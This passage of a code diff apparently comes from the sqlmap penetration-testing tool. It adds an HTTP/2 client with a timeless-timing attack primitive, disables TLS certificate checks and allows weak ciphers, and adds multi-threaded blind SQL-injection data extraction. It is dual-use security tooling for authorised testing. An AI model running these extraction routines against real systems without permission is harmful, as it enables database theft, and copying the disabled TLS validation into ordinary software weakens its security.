self._evict() + else: # 6.2.2 without / 6.2.3 never indexed (4-bit prefix) + index, pos = decode_integer(data, pos, 4) + if index: + name = self._get(index)[0] + else: + name, pos = decode_string(data, pos) + value, pos = decode_string(data, pos) + headers.append((name, value)) + return headers + +class Encoder(object): + # Minimal, always-valid: emit each header as a literal WITHOUT indexing + Huffman-coded strings. + # (Correctness-critical decoding is the hard part; a server accepts this trivially.) + def encode(self, headers): + out = bytearray() + for name, value in headers: + out += encode_integer(0, 4, 0x00) # 0000 0000 : literal w/o indexing, new name + out += encode_string(name) + out += encode_string(value) + return bytes(out) + +SETTINGS_INITIAL_WINDOW_SIZE = 0x4 +BIG_WINDOW = (1 << 31) - 1 + +# Upper bound on the response bytes (body or header block) buffered per stream. The client advertises a +# ~2GB flow-control window, so without this a large (or hostile) server would drive the whole body into +# memory and OOM the process. Mirrors the HTTP/1.1 path's MAX_CONNECTION_TOTAL_SIZE (100MB) cap in +# connect.py; a stream that exceeds it is truncated (body) or abandoned (headers) and its connection retired. +MAX_RESPONSE_SIZE = 100 * 1024 * 1024 + +def _recv_exact(sock, n): + buf = b"" + while len(buf) < n: + chunk = sock.recv(n - len(buf)) + if not chunk: + raise IOError("connection closed by peer") + buf += chunk + return buf + +def _read_frame(sock): + length, ftype, flags, sid = decode_frame_header(_recv_exact(sock, 9)) + return ftype, flags, sid, (_recv_exact(sock, length) if length else b"") + +def _tob(x): + return x if isinstance(x, bytes) else x.encode("latin-1") + +def _connect_socket(host, port, proxy, timeout): + # Direct TCP, or an HTTP CONNECT tunnel through an (optionally authenticated) proxy. SOCKS proxies + # are excluded for HTTP/2 upstream, so any proxy reaching here is a plain HTTP one. proxy is a + # (proxy_host, proxy_port, "user:pass"-or-None) tuple. + if not proxy: + return socket.create_connection((host, port), timeout=timeout) + + proxy_host, proxy_port, proxy_cred = proxy + raw = socket.create_connection((proxy_host, proxy_port), timeout=timeout) + try: + request = "CONNECT %s:%d HTTP/1.1\r\nHost: %s:%d\r\n" % (host, port, host, port) + if proxy_cred: + token = base64.b64encode(proxy_cred.encode("latin-1")).decode("ascii") + request += "Proxy-Authorization: Basic %s\r\n" % token + request += "\r\n" + raw.sendall(request.encode("latin-1")) + + response = b"" + while b"\r\n\r\n" not in response: + chunk = raw.recv(4096) + if not chunk: + raise IOError("proxy closed the connection during CONNECT") + response += chunk + if len(response) > 65536: + raise IOError("oversized proxy CONNECT response") + + status_line = response.split(b"\r\n", 1)[0].decode("latin-1", "replace") + fields = status_line.split(None, 2) + code = int(fields[1]) if len(fields) >= 2 and fields[1].isdigit() else 0 + if not (200 <= code < 300): + raise IOError("proxy CONNECT failed: %s" % status_line) + return raw + except Exception: + try: + raw.close() + except Exception: + pass + raise + +class _UnprocessedStream(IOError): + """Raised when the server made it clear our stream was NOT processed (GOAWAY with last-stream-id below + ours), so the request is always safe to retry on a fresh connection.""" + +class _H2Connection(object): + """A single HTTP/2 connection reused for sequential (one-stream-at-a-time) requests within a thread. + + Multiplexing is intentionally NOT used - one stream is fully consumed before the next is opened - which + preserves request<->response isolation (clean time-based latency, no desync), exactly like the + thread-local HTTP/1.1 keep-alive pool. Reuse amortizes the TCP+TLS+preface cost across all of a thread's + requests to a host. Correctness note: only the HPACK Decoder (server->client dynamic table) is stateful, + so it is kept per-connection and fed responses in order; the Encoder is literal-without-indexing + (stateless), hence a fresh one per request is safe on a reused socket.""" + + def __init__(self, host, port, proxy, timeout): + self.host, self.port, self.proxy = host, port, proxy + self.dec = Decoder() # persistent server->client HPACK table + self.next_sid = 1 # odd, strictly increasing per RFC 7540 + self.usable = True + ctx = ssl._create_unverified_context() + ctx.set_alpn_protocols(["h2"]) + raw = _connect_socket(host, port, proxy, timeout) + try: + raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) # coalesced-pair writes must not be Nagle-buffered + except (OSError, socket.error): + pass + self.sock = ctx.wrap_socket(raw, server_hostname=host) + try: + if self.sock.selected_alpn_protocol() != "h2": + raise IOError("server did not negotiate h2 (ALPN=%r)" % self.sock.selected_alpn_protocol()) + self.sock.settimeout(timeout) + # connection preface + client SETTINGS (advertise a large per-stream window) + bump conn window + self.sock.sendall(CONNECTION_PREFACE) + self.sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HI", SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW))) + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", BIG_WINDOW - 65535))) + except Exception: + self.close() + raise + + def close(self): + self.usable = False + try: + self.sock.close() + except Exception: + pass + + def __del__(self): + self.close() + + def exchange(self, method, path, authority, headers, body, timeout): + if not self.usable: + raise IOError("HTTP/2 connection no longer usable") + + sid = self.next_sid + self.next_sid += 2 + if self.next_sid >= BIG_WINDOW: # stream-id space nearly exhausted -> retire after this + self.usable = False + self.sock.settimeout(timeout) + + req = [(b":method", _tob(method)), (b":scheme", b"https"), (b":path", _tob(path)), (b":authority", _tob(authority))] + for k, v in (headers or {}).items(): + req.append((_tob(k).lower(), _tob(v))) + hblock = Encoder().encode(req) + self.sock.sendall(encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), sid, hblock)) + if body: + self.sock.sendall(encode_frame(DATA, FLAG_END_STREAM, sid, _tob(body))) + + header_block, resp_headers, resp_body, done = b"", None, bytearray(), False + while not done: + ftype, flags, fsid, payload = _read_frame(self.sock) + if ftype == SETTINGS: + if not (flags & FLAG_ACK): + self.sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b"")) + elif ftype == PING: + if not (flags & FLAG_ACK): + self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload)) + elif ftype == GOAWAY: + self.usable = False # server won't accept new streams -> retire connection + last_sid = (struct.unpack("!I", payload[4:8])[0] & 0x7fffffff) if len(payload) >= 8 else 0 + if sid > last_sid: # our stream was not processed -> safe to retry fresh + raise _UnprocessedStream("GOAWAY (last stream %d) before stream %d was processed" % (last_sid, sid)) + elif ftype == RST_STREAM and fsid == sid: + self.usable = False + raise IOError("stream reset by server (error %d)" % struct.unpack("!I", payload[:4])[0]) + elif ftype in (HEADERS, CONTINUATION) and fsid == sid: + p = payload + if ftype == HEADERS: + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + if flags & FLAG_PRIORITY: + p = p[5:] + header_block += p + if len(header_block) > MAX_RESPONSE_SIZE: # hostile/endless header block -> bail rather than OOM + self.usable = False + raise IOError("oversized HTTP/2 header block") + if flags & FLAG_END_HEADERS: + resp_headers = self.dec.decode(header_block) + if flags & FLAG_END_STREAM: + done = True + elif ftype == DATA and fsid == sid: + p = payload + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + resp_body += p + if len(resp_body) > MAX_RESPONSE_SIZE: # cap like the HTTP/1.1 path; stop reading and retire the + self.usable = False # connection (leftover frames abandoned) instead of OOM + break + if payload: # replenish stream + connection windows + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, sid, struct.pack("!I", len(payload)))) + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) + if flags & FLAG_END_STREAM: + done = True + status = None + for n, v in (resp_headers or []): + if _tob(n) == b":status": + status = int(v) + break + return status, resp_headers, bytes(resp_body) + + def exchange_pair(self, requests, timeout): + """Timeless-timing primitive (Van Goethem et al., USENIX Security 2020). Send TWO requests + multiplexed and COALESCED into a single TCP write, then read frames until BOTH streams reach + END_STREAM, recording the order in which they finished. Because both requests ride the same + packet on the same connection, network jitter hits them equally and cancels - only the server's + relative processing time decides which END_STREAM lands first, so a sub-millisecond server-side + delta is readable that absolute wall-clock timing (drowned by jitter) cannot resolve. + + `requests` is a 2-list of dicts {method, path, authority, headers, body}. Returns + (finish_order, results) where finish_order is the list of stream ids in completion order and + results maps sid -> (status, headers, body). Requires the server to process the two streams + CONCURRENTLY; a serializing front-proxy defeats it (callers must calibrate - see h2_timeless_probe).""" + if not self.usable: + raise IOError("HTTP/2 connection no longer usable") + self.sock.settimeout(timeout) + + sids, out = [], b"" + for r in requests: + sid = self.next_sid + self.next_sid += 2 + sids.append(sid) + req = [(b":method", _tob(r.get("method", "GET"))), (b":scheme", b"https"), + (b":path", _tob(r["path"])), (b":authority", _tob(r.get("authority") or self.host))] + for k, v in (r.get("headers") or {}).items(): + req.append((_tob(k).lower(), _tob(v))) + body = r.get("body") + out += encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), sid, Encoder().encode(req)) + if body: + out += encode_frame(DATA, FLAG_END_STREAM, sid, _tob(body)) + if self.next_sid >= BIG_WINDOW: + self.usable = False + self.sock.sendall(out) # THE crux: one write -> one TCP segment -> simultaneous arrival + + state = dict((sid, {"hb": b"", "headers": None, "body": bytearray()}) for sid in sids) + finish_order = [] + remaining = set(sids) + while remaining: + ftype, flags, fsid, payload = _read_frame(self.sock) + if ftype == SETTINGS: + if not (flags & FLAG_ACK): + self.sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b"")) + elif ftype == PING: + if not (flags & FLAG_ACK): + self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload)) + elif ftype == GOAWAY: + self.usable = False + raise IOError("GOAWAY during timeless pair") + elif ftype == RST_STREAM and fsid in state: + self.usable = False + raise IOError("stream reset during timeless pair") + elif ftype in (HEADERS, CONTINUATION) and fsid in state: + p = payload + if ftype == HEADERS: + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + if flags & FLAG_PRIORITY: + p = p[5:] + state[fsid]["hb"] += p + if len(state[fsid]["hb"]) > MAX_RESPONSE_SIZE: + self.usable = False + raise IOError("oversized HTTP/2 header block during timeless pair") + if flags & FLAG_END_HEADERS: + state[fsid]["headers"] = self.dec.decode(state[fsid]["hb"]) + if flags & FLAG_END_STREAM and fsid in remaining: + finish_order.append(fsid); remaining.discard(fsid) + elif ftype == DATA and fsid in state: + p = payload + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + state[fsid]["body"] += p + if len(state[fsid]["body"]) > MAX_RESPONSE_SIZE: # cap the buffered body (mirrors exchange()) + self.usable = False + raise IOError("oversized response during timeless pair") + if payload: + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, fsid, struct.pack("!I", len(payload)))) + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) + if flags & FLAG_END_STREAM and fsid in remaining: + finish_order.append(fsid); remaining.discard(fsid) + + results = {} + for sid in sids: + status = None + for n, v in (state[sid]["headers"] or []): + if _tob(n) == b":status": + status = int(v); break + results[sid] = (status, state[sid]["headers"], bytes(state[sid]["body"])) + return finish_order, results + + +# Thread-local pool: one live connection per (host, port, proxy) per thread. Mirrors keepalive.py's model +# (one connection per host per thread) so streams never interleave across threads and time-based +# measurements stay clean. +_h2_pool = threading.local() + +def _pooledExchange(host, port, proxy, method, path, authority, headers, body, timeout): + pool = getattr(_h2_pool, "connections", None) + if pool is None: + pool = _h2_pool.connections = {} + key = (host, port, proxy) + + conn = pool.get(key) + reused = conn is not None and conn.usable + if not reused: + if conn is not None: + conn.close() + conn = pool[key] = _H2Connection(host, port, proxy, timeout) + + try: + result = conn.exchange(method, path, authority, headers, body, timeout) + except _UnprocessedStream: # explicitly not processed -> always safe to retry fresh + conn.close(); pool.pop(key, None) + conn = pool[key] = _H2Connection(host, port, proxy, timeout) + result = conn.exchange(method, path, authority, headers, body, timeout) + except (socket.error, ssl.SSLError, IOError): + conn.close(); pool.pop(key, None) + if reused: # stale keep-alive socket (server closed idle conn) -> reopen once + conn = pool[key] = _H2Connection(host, port, proxy, timeout) + result = conn.exchange(method, path, authority, headers, body, timeout) + else: + raise + if not conn.usable: # GOAWAY / id-exhaustion mid-exchange -> don't keep it pooled + conn.close(); pool.pop(key, None) + return result + +def h2_request(host, port=443, method="GET", path="/", authority=None, headers=None, body=None, timeout=30, proxy=None): + """One-shot request on a throwaway connection (kept for direct/back-compat callers; the engine path + goes through open_url -> the reusing pool).""" + conn = _H2Connection(host, port, proxy, timeout) + try: + return conn.exchange(method, path, authority or host, headers, body, timeout) + finally: + conn.close() + + +class H2Response(object): + """A urllib-response-compatible wrapper around a native HTTP/2 response, so the rest of sqlmap's + request pipeline can consume it exactly like a urllib response (code/msg/info()/read()/geturl()). + + >>> r = H2Response('https://x/', 200, [(b':status', b'200'), (b'content-type', b'text/html')], b'body') + >>> (r.code, r.msg, r.read() == b'body', r.geturl()) + (200, 'OK', True, 'https://x/') + >>> ':status' in r.info() + False + """ + + def __init__(self, url, status, headers, body): + self.url = url + self.code = self.status = status + self.msg = _HTTP_RESPONSES.get(status, "") + self.http_version = "HTTP/2.0" + self._body = body + self._offset = 0 + self._info = _Message() + for name, value in (headers or []): + name = name.decode("latin-1") if isinstance(name, bytes) else name + value = value.decode("latin-1") if isinstance(value, bytes) else value + if not name.startswith(":"): # drop HTTP/2 pseudo-headers (:status etc.) + self._info[name] = value + # expose a mimetools.Message-style '.headers' list so patchHeaders() treats this object + # uniformly across Python 2/3 (email.message.Message lacks it, and Python 2 iteration over a + # bare Message falls back to integer indexing) + self._info.headers = ["%s: %s\r\n" % (name, value) for (name, value) in self._info.items()] + + def info(self): + return self._info + + def geturl(self): + return self.url + + def read(self, amt=None): + if amt is None: + data = self._body[self._offset:] + self._offset = len(self._body) + else: + data = self._body[self._offset:self._offset + amt] + self._offset += len(data) + return data + + def close(self): + pass + + +def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redirects=True, max_redirects=10, proxy=None): + """Fetch url over native HTTP/2 (https only), following redirects like a browser (mirroring the + previous httpx follow_redirects=True), and return an H2Response. Raises IOError on a transport or + ALPN-negotiation failure. Connection-level and h2-forbidden request headers are stripped.""" + forbidden = ("host", "connection", "keep-alive", "proxy-connection", "transfer-encoding", "upgrade", "content-length") + req_headers = {} + for key in (headers or {}): + name = key.decode("latin-1") if isinstance(key, bytes) else key + if name.lower() not in forbidden: + req_headers[key] = headers[key] + + for _ in range(max_redirects + 1): + parts = urlsplit(url) + if parts.scheme != "https": + raise IOError("native HTTP/2 client supports 'https://' targets only (got %r)" % parts.scheme) + path = parts.path or "/" + if parts.query: + path += "?" + parts.query + status, resp_headers, resp_body = _pooledExchange(parts.hostname, parts.port or 443, proxy, method, path, + parts.netloc.split("@")[-1], req_headers, body, timeout) + if follow_redirects and status in REDIRECT_CODES: + location = None + for name, value in (resp_headers or []): + if (name.decode("latin-1") if isinstance(name, bytes) else name).lower() == "location": + location = value.decode("latin-1") if isinstance(value, bytes) else value + break + if location: + url = urljoin(url, location) + if status in (301, 302, 303): # per RFC 7231, these degrade to GET + method, body = "GET", None + continue + return H2Response(url, status, resp_headers, resp_body) + + raise IOError("too many HTTP/2 redirects") diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index c9676a9c4bb..4e95c600677 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -27,7 +27,7 @@ except ImportError: pass -_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2")) +_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLS_CLIENT", "PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2")) _lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_")) _contexts = {} @@ -65,19 +65,37 @@ def create_sock(): # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni if hasattr(ssl, "SSLContext"): for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1): + sock = None try: sock = create_sock() if protocol not in _contexts: _contexts[protocol] = ssl.SSLContext(protocol) + + # Disable certificate and hostname validation enabled by default with PROTOCOL_TLS_CLIENT + _contexts[protocol].check_hostname = False + _contexts[protocol].verify_mode = ssl.CERT_NONE + if getattr(self, "cert_file", None) and getattr(self, "key_file", None): _contexts[protocol].load_cert_chain(certfile=self.cert_file, keyfile=self.key_file) try: # Reference(s): https://askubuntu.com/a/1263098 # https://askubuntu.com/a/1250807 - _contexts[protocol].set_ciphers("DEFAULT@SECLEVEL=1") - except ssl.SSLError: + # https://git.zknt.org/mirror/bazarr/commit/7f05f932ffb84ba8b9e5630b2adc34dbd77e2b4a?style=split&whitespace=show-all&show-outdated= + _contexts[protocol].set_ciphers("ALL@SECLEVEL=0") + except (ssl.SSLError, AttributeError): pass - result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host if re.search(r"\A[\d.]+\Z", self.host or "") is None else None) + + hostname = self.host + if conf.host: + hostname = conf.host + else: + for header, value in conf.httpHeaders: + if header.lower() == "host": + hostname = value + break + hostname = hostname if re.search(r"\A[\d.]+\Z", hostname or "") is None else None + result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=hostname) + if result: success = True self.sock = result @@ -86,8 +104,10 @@ def create_sock(): break else: sock.close() - except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex: + except (ssl.SSLError, socket.error, _http_client.BadStatusLine, AttributeError) as ex: self._tunnel_host = None + if sock: + sock.close() logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) elif hasattr(ssl, "wrap_socket"): diff --git a/lib/request/inject.py b/lib/request/inject.py index 039ef1be3f6..8948a07cc6d 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -1,18 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import re +import threading import time from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import applyFunctionRecursively +from lib.core.common import dataToStdout +from lib.core.common import unArrayizeValue +from lib.core.datatype import AttribDict +from lib.utils.progress import ProgressBar +from lib.utils.safe2bin import safecharencode from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import cleanQuery @@ -22,6 +28,7 @@ from lib.core.common import getPublicTypeMembers from lib.core.common import getTechnique from lib.core.common import getTechniqueData +from lib.core.common import incrementCounter from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import initTechnique @@ -53,15 +60,20 @@ from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS +from lib.core.settings import IS_TTY from lib.core.settings import INFERENCE_MARKER from lib.core.settings import MAX_TECHNIQUES_PER_VALUE from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData +from lib.core.threads import runThreads +from lib.core.threads import setDaemon +from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.request.direct import direct from lib.techniques.blind.inference import bisection from lib.techniques.blind.inference import queryOutputLength +from lib.techniques.blind.inference import valueMatchCondition from lib.techniques.dns.test import dnsTest from lib.techniques.dns.use import dnsUse from lib.techniques.error.use import errorUse @@ -162,8 +174,8 @@ def _goInferenceFields(expression, expressionFields, expressionFieldsList, paylo def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False): """ - Retrieve the output of a SQL query characted by character taking - advantage of an blind SQL injection vulnerability on the affected + Retrieve the output of a SQL query character by character taking + advantage of a blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ @@ -204,14 +216,16 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char if limitCond: test = True - if not stopLimit or stopLimit <= 1: + if stopLimit is None or stopLimit <= 1: if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): test = False if test: - # Count the number of SQL query entries output - countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0] - countedExpression = expression.replace(expressionFields, countFirstField, 1) + # Count the number of SQL query entries output. NOTE: COUNT(*) (row count), not + # COUNT() - the latter excludes NULLs and would drop NULL-valued rows from + # the dump (e.g. dumping a single column whose value is NULL on some rows). + countField = queries[Backend.getIdentifiedDbms()].count.query % '*' + countedExpression = expression.replace(expressionFields, countField, 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") @@ -274,7 +288,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char stopLimit = 1 - elif (not count or int(count) == 0): + elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" @@ -356,6 +370,211 @@ def _goUnion(expression, unpack=True, dump=False): return output +def _verifyInferredValue(expression, value): + """ + Confirm a value-parallel-inferred name with ONE equality boolean (lock-free forged + query, mirroring the predictive commonValue check). A wrong bisection bit under heavy + concurrent load on a flaky/WAF'd target flips a character; a full-value equality catches + it sharply (a corrupted name != the real one). Returns True when (expression) == value + holds, or on a transient verify error (never discard a value on a hiccup). + """ + + if value is None or isNoneValue(value): + return True + + value = unArrayizeValue(value) + if not isinstance(value, six.string_types): + return True + + if Backend.getDbms(): + _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) + nulledCastedField = agent.nullAndCastField(fieldToCastStr) + expressionUnescaped = unescaper.escape(expression.replace(fieldToCastStr, nulledCastedField, 1)) + else: + expressionUnescaped = unescaper.escape(expression) + + matchCondition = valueMatchCondition(expressionUnescaped, value) + if matchCondition is None: # non-ASCII value: no reliable whole-value equality (see valueMatchCondition) + return None # caller confirms these by an independent re-extraction instead + + query = getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition) + query = agent.suffixQuery(agent.prefixQuery(query)) + + timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) + + try: + result = bool(Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)) + incrementCounter(getTechnique()) + return result + except Exception: + return True + +def valueParallelEligible(): + """ + Whether blind enumeration/dumping should take the value-parallel path (one whole value per worker) + rather than the classic char loop. It is chosen for concurrency ('--threads') and, independently, to + render a single whole-job progress bar/ETA ('--eta'). A concurrency-safe channel - boolean or the + HTTP/2 timeless oracle - qualifies with either. Classic time-based qualifies only single-threaded under + '--eta': concurrent SLEEP measurements interfere, so it must stay sequential (where it is safe, and + still gets the whole-job ETA that matters most for the slowest channel). Callers add their own extra + guards (e.g. '--dns-domain', per-column comments). + """ + + concurrencySafe = isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.get("timeless") is not None + + if conf.threads > 1: + return concurrencySafe + if conf.eta: + return concurrencySafe or isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) + return False + +def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=None, dump=False): + """ + Value-parallel blind retrieval. + + Retrieve many independent values concurrently, ONE whole value per worker thread, each decoded + sequentially via bisection with length=None - so there is NO per-value length probe (unlike the + position-parallel path, which must probe LENGTH() to split a value's characters across threads) and + the sequential prefix lets predictive inference / low-cardinality guessing / the per-column Huffman + model work. This parallelizes across VALUES instead of character positions - the right axis for the + MANY short values of table/column NAME enumeration (context="Tables"/"Columns" tags kb.partRun so + predictValue() consults the wordlist) and, with dump=True, of per-column data dumping (Huffman and + low-cardinality guessing engage). It bypasses getValue()'s @lockedmethod the same way union/error + row-threading calls _oneShotUnionUse directly. `exprBuilder(index)` yields the per-value expression. + Returns a list aligned with `indices` (None where a value could not be retrieved); single-thread is + just sequential retrieval (no worse than the classic loop, and still without the length probe). + """ + + indices = list(indices) + + # Snapshot the raw per-thread technique (may be None) so the finally can restore it verbatim - + # getTechnique() would fall back to kb.technique, and a None result there used to skip the restore + # entirely, leaking the BOOLEAN/TIME we set below onto the calling thread for every later caller. + savedTechnique = getCurrentThreadData().technique + + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) + elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): + setTechnique(PAYLOAD.TECHNIQUE.TIME) + else: + return None + + try: + initTechnique(getTechnique()) + payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector))) + except: + setTechnique(savedTechnique) # these run before the runThreads try/finally below, so restore here too + raise + + results = [None] * len(indices) + cursor = iter(xrange(len(indices))) + + # With '--eta' show a single value-level bar (values completed / total) instead of the per-value + # stream: it is monotonic and carries a meaningful ETA across the whole set, and - unlike the + # per-char bar drawn inside bisection() - it survives the worker's disableStdOut (drawn forced, + # below), so '--eta' is honoured under '--threads' too. Skipped for trivial single-value sets. + etaProgress = ProgressBar(maxValue=len(indices)) if (conf.eta and len(indices) > 1) else None + completed = [0] + + def inferenceThread(): + threadData = getCurrentThreadData() + # Each per-value bisection streams its characters to stdout and mirrors them into + # threadData.shared.value - which is a PROCESS-GLOBAL object. Left as-is, concurrent + # workers interleave their character output (garbled console) and stomp each other's + # partial value. So suppress the per-char streaming here and give each worker a private + # shared-state object; a single clean line/counter is printed per completed value below. + threadData.disableStdOut = True + threadData.shared = AttribDict() + + while kb.threadContinue: + with kb.locks.limit: + try: + slot = next(cursor) + except StopIteration: + break + + expression = exprBuilder(indices[slot]) + try: + _, value = bisection(payload, expression, length=None, charsetType=charsetType, dump=dump) + # Self-verify each value: sustained concurrent boolean load on a flaky/WAF'd target can flip + # a bisection bit (raw retrieval has no per-char validation), so confirm the whole value and + # re-extract on mismatch. ASCII values use ONE fast equality probe; a value carrying non-ASCII + # (which a quoted literal may not round-trip, AND which is itself a common corruption symptom) + # is instead confirmed by an INDEPENDENT re-extraction having to agree - a random flip will not + # reproduce the same bytes twice. Bounded to a few tries; correctness over a marginal request. + tries = 0 + while not isNoneValue(value) and not threadData.lowCardHit and tries < 3: + verdict = _verifyInferredValue(expression, value) + if verdict is True: + break + tries += 1 + _, other = bisection(payload, expression, length=None, charsetType=charsetType, dump=dump) + if verdict is None and other == value: # two independent extractions agree -> trust it + break + value = other # equality said wrong, or the two disagree -> adopt fresh, recheck + except Exception as ex: + logger.debug("parallel retrieval worker failed at slot %d ('%s')" % (slot, ex)) + value = None + + with kb.locks.value: + results[slot] = value + + if etaProgress is not None: + with kb.locks.io: + completed[0] += 1 + threadData.disableStdOut = False # let the value-level bar through (per-char streaming stays muted) + try: + etaProgress.progress(completed[0]) + finally: + threadData.disableStdOut = True + + # Stream each retrieved value as it completes (they arrive out of order under threads, exactly + # like the error/union dumps), so a dump shows its data live rather than a silent counter. + elif conf.verbose >= 1 and not kb.bruteMode and not isNoneValue(value): + with kb.locks.io: + rendered = safecharencode(unArrayizeValue(value)) + dataToStdout("[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), "'%s'" % rendered if dump else rendered), forceOutput=True) + + # Keep the '--eta' countdown live between value updates: a value (esp. time-based) can take many + # seconds, so a daemon redraws the bar every second with the ETA decremented by elapsed time (it runs + # on its own thread, so it is not muted by the workers' disableStdOut, and shares kb.locks.io with them). + etaTickerStop = threading.Event() + etaTicker = None + if etaProgress is not None and IS_TTY: + def _etaTicker(): + while not etaTickerStop.wait(1.0): + with kb.locks.io: + etaProgress.tick() + etaTicker = threading.Thread(target=_etaTicker, name="eta-ticker") + setDaemon(etaTicker) + etaTicker.start() + + # Save/restore the calling thread's state: with a single thread runThreads runs the worker + # INLINE on this thread, so the worker's disableStdOut/shared mutations must not leak out. + savedPartRun = kb.partRun + mainThreadData = getCurrentThreadData() + savedStdOut, savedShared = mainThreadData.disableStdOut, mainThreadData.shared + kb.partRun = context + try: + runThreads(min(conf.threads or 1, len(indices)) or 1, inferenceThread) + finally: + etaTickerStop.set() + if etaTicker is not None: + etaTicker.join(timeout=2) + kb.partRun = savedPartRun + mainThreadData.disableStdOut = savedStdOut + mainThreadData.shared = savedShared + setTechnique(savedTechnique) + + # Robustness: any slot a worker could not retrieve (None, i.e. a transient per-cell failure) is + # re-extracted serially via the classic getValue() path - full error handling, and a persistent error + # surfaces there - rather than being silently returned as an empty value. + for slot in xrange(len(results)): + if results[slot] is None and kb.threadContinue: + results[slot] = getValue(exprBuilder(indices[slot]), union=False, error=False, dump=dump, charsetType=charsetType) + + return results + @lockedmethod @stackedmethod def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): diff --git a/lib/request/interactsh.py b/lib/request/interactsh.py new file mode 100644 index 00000000000..e57a09537bc --- /dev/null +++ b/lib/request/interactsh.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import base64 +import json +import time + +from lib.core.common import randomStr +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import HTTP_HEADER +from lib.core.settings import OOB_CORRELATION_ID_LENGTH +from lib.core.settings import OOB_INTERACTSH_SERVERS +from lib.core.settings import OOB_NONCE_LENGTH + +# The interactsh client needs RSA-OAEP(SHA-256) + 